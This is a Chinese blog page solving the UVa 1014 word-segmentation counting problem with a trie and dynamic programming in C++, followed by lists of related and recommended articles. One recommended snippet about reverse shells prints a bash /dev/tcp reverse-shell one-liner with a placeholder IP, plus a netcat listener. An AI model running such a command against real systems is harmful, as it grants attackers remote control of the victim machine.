Neal is very curious about combinatorial problems, and now here comes a problem about words. Knowing

that Ray has a photographic memory and this may not trouble him, Neal gives it to Jiejie.

Since Jiejie can’t remember numbers clearly, he just uses sticks to help himself. Allowing for Jiejie’s

only 20071027 sticks, he can only record the remainders of the numbers divided by total amount of

sticks.

The problem is as follows: a word needs to be divided into small pieces in such a way that each

piece is from some given set of words. Given a word and the set of words, Jiejie should calculate the

number of ways the given word can be divided, using the words in the set.

Input

The input file contains multiple test cases. For each test case: the first line contains the given word

whose length is no more than 300 000.

The second line contains an integer S, 1 ≤ S ≤ 4000.

Each of the following S lines contains one word from the set. Each word will be at most 100

characters long. There will be no two identical words and all letters in the words will be lowercase.

There is a blank line between consecutive test cases.

You should proceed to the end of file.

Output

For each test case, output the number, as described above, from the task description modulo 20071027.

Sample Input

abcd

4

a

b

cd

ab

Sample Output

Case 1: 2


题意##

给定一个由S个单词组成的字典和一个字符串,求将这个字符串分解为若干单词的连接有多少种分法。


想法一##

进行dp

dp[i]表示字符串从第i位往后有多少种分法

转移方程: dp[i]=sum { dp[j+1] | s[i~j]为一个单词 }

枚举每一个单词

复杂度 每一组数据Θ(len(s)·S)

略微有那么一点高

想法二##

还是dp,转移方程同上

一个个枚举单词太慢了,我们发现对某一个i所有可以的单词前缀都应相同

运用数据结构trie

从s[i]开始在trie上找,找到某一个单词的结束就相当于找到了一个j

复杂度 每一组数据Θ(maxlen(字典中的单词)·S)

这样就可以过啦


代码:

  1. #include<cstdio>
  2. #include<iostream>
  3. #include<algorithm>
  4. #include<cstring>
  5. using namespace std;
  6. const int N = 300005;
  7. const int P = 20071027;
  8. struct trie{
  9. trie *ch[26];
  10. int flag;
  11. void clear(){
  12. flag=0;
  13. for(int i=0;i<26;i++) ch[i]=NULL;
  14. }
  15. }pool[105*4000],*root;
  16. int cnt;
  17. int d[N];
  18. void add(){
  19. char s[105];
  20. scanf("%s",s);
  21. int len=strlen(s),id;
  22. trie *p=root;
  23. for(int i=0;i<len;i++){
  24. id=s[i]-'a';
  25. if(!p->ch[id]){
  26. pool[++cnt].clear();
  27. p->ch[id]=&pool[cnt];
  28. }
  29. p=p->ch[id];
  30. }
  31. p->flag++;
  32. }
  33. char sh[N];
  34. int main()
  35. {
  36. int len,n,i,j,kase=0;
  37. trie *p;
  38. root=&pool[++cnt];
  39. while(scanf("%s",sh)!=EOF){
  40. len=strlen(sh);
  41. scanf("%d",&n);
  42. pool[1].clear(); cnt=1;
  43. for(i=0;i<n;i++) add();
  44. d[len]=1;
  45. for(i=len-1;i>=0;i--){
  46. p=root;
  47. d[i]=0;
  48. for(j=i;j<len;j++){
  49. if(p->ch[sh[j]-'a']) {
  50. p=p->ch[sh[j]-'a'];
  51. if(p->flag)
  52. d[i]=(d[i]+d[j+1])%P;
  53. }
  54. else break;
  55. }
  56. }
  57. printf("Case %d: %d\n",++kase,d[0]);
  58. }
  59. return 0;
  60. }

Uva1014:Remember the Word的更多相关文章

  1. Word/Excel 在线预览

    前言 近日项目中做到一个功能,需要上传附件后能够在线预览.之前也没做过这类似的,于是乎就查找了相关资料,.net实现Office文件预览大概有这几种方式: ① 使用Microsoft的Office组件 ...

  2. C#中5步完成word文档打印的方法

    在日常工作中,我们可能常常需要打印各种文件资料,比如word文档.对于编程员,应用程序中文档的打印是一项非常重要的功能,也一直是一个非常复杂的工作.特别是提到Web打印,这的确会很棘手.一般如果要想选 ...

  3. C# 给word文档添加水印

    和PDF一样,在word中,水印也分为图片水印和文本水印,给文档添加图片水印可以使文档变得更为美观,更具有吸引力.文本水印则可以保护文档,提醒别人该文档是受版权保护的,不能随意抄袭.前面我分享了如何给 ...

  4. 获取打开的Word文档

    using Word = Microsoft.Office.Interop.Word; int _getApplicationErrorCount=0; bool _isMsOffice = true ...

  5. How to accept Track changes in Microsoft Word 2010?

    "Track changes" is wonderful and remarkable tool of Microsoft Word 2010. The feature allow ...

  6. C#将Word转换成PDF方法总结(基于Office和WPS两种方案)

    有时候,我们需要在线上预览word文档,当然我们可以用NPOI抽出Word中的文字和表格,然后显示到网页上面,但是这样会丢失掉Word中原有的格式和图片.一个比较好的办法就是将word转换成pdf,然 ...

  7. 开源Word读写组件DocX 的深入研究和问题总结

    一. 前言 前两天看到了asxinyu大神的[原创]开源Word读写组件DocX介绍与入门,正好我也有类似的自动生成word文档得需求,于是便仔细的研究了这个DocX. 我也把它融入到我的项目当中并进 ...

  8. [.NET] 开头不讲"Hello Word",读尽诗书也枉然 : Word 操作组件介绍 - Spire.Doc

    开头不讲"Hello Word",读尽诗书也枉然 : Word 操作组件介绍 - Spire.Doc [博主]反骨仔 [原文地址]http://www.cnblogs.com/li ...

  9. C# Word中设置/更改文本方向

    C# Word中设置/更改文本方向 一般情况下在Word中输入的文字都是横向的,今天给大家分享两种方法来设置/更改一个section内的所有文本的方向及部分文本的方向,有兴趣的朋友可以试下. 首先,从 ...

随机推荐

  1. 牛客wannafly 挑战赛14 B 前缀查询(trie树上dfs序+线段树)

    牛客wannafly 挑战赛14 B 前缀查询(trie树上dfs序+线段树) 链接:https://ac.nowcoder.com/acm/problem/15706 现在需要您来帮忙维护这个名册, ...

  2. P3157 动态逆序对 CDQ分治

    动态逆序对 CDQ分治 传送门:https://www.luogu.org/problemnew/show/P3157 题意: 对于序列A,它的逆序对数定义为满足i<j,且Ai>Aj的数对 ...

  3. SRTE测试

    网络拓扑: XRV1 ======================================================================= hostname XRV1expl ...

  4. monaco-editor使用

    monaco-editor是一款非常好用的web代码编辑器,那么如何把他加到自己的项目中呢. 1.下载插件 npm install monaco-editor@0.8.3 2.初始化编辑器值 < ...

  5. C语言中的断言

    一.原型定义:void assert( int expression ); assert宏的原型定义在<assert.h>中,其作用是先计算表达式 expression ,如果expres ...

  6. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...

  7. @程序员,你们还在用网上乱找的方法导入导出Excel么,我们给你造了个轮子!!!!!

    程序员的显著特点 有一天跟一位同事跟我闲聊,讨论起过去若干年软件行业的感受,他问了个问题:你觉得一个好的软件工程师最显著的特点是什么? 我想了一会,说:大概是坐得住吧. 某种意义上来说,在互联网技术飞 ...

  8. 微信支付与支付宝支付java开发注意事项

    说明:这里只涉及到微信支付和淘宝支付 以官网的接口为准,主要关注[网关].[接口].[参数][加密方式][签名][回调] 第一步,了解自己的项目要集成的支付方式 常见的有扫码支付.网页支付.APP支付 ...

  9. $Poj1952\ $洛谷$1687\ Buy\ Low,Buy\ Lower$ 线性$DP+$方案计数

    Luogu Description 求一个长度为n的序列a的最长下降子序列的长度,以及这个长度的子序列种数,注意相同的几个子序列只能算作一个子序列. n<=5000,a[i]不超过long范围 ...

  10. CSS单行文字超出省略

    .ellipsis { white-space:nowrap overflow:hidden text-overflow:ellipsis }